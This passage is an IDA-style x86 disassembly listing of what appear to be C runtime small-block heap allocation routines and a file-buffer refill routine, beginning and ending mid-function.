		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A990, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A980
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFC4
		call	near ptr 27A0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A980
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A980, 0
		jnz	short loc_41E9F6
		mov	off_43A980, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A984, 0
		jnz	short loc_41EA1B
		mov	off_43A984, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A984
		mov	[esi+4], eax
		mov	off_43A984, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28A1831h


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A980
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2790000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 28A1831h
		nop
		cmp	off_43C9A0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9A0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A980
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFC4
		nop
		call	near ptr 2790000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A990, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A984
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28A1831h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9A4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A984
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A980
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9A4
		cmp	dword_4DB9A4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9A0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9A0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9A0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A980
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28A1994h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9A0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9A0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCC80[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D000


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DCD80
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DCC80h[eax*4]
		mov	eax, dword_4DCC80[eax*4]
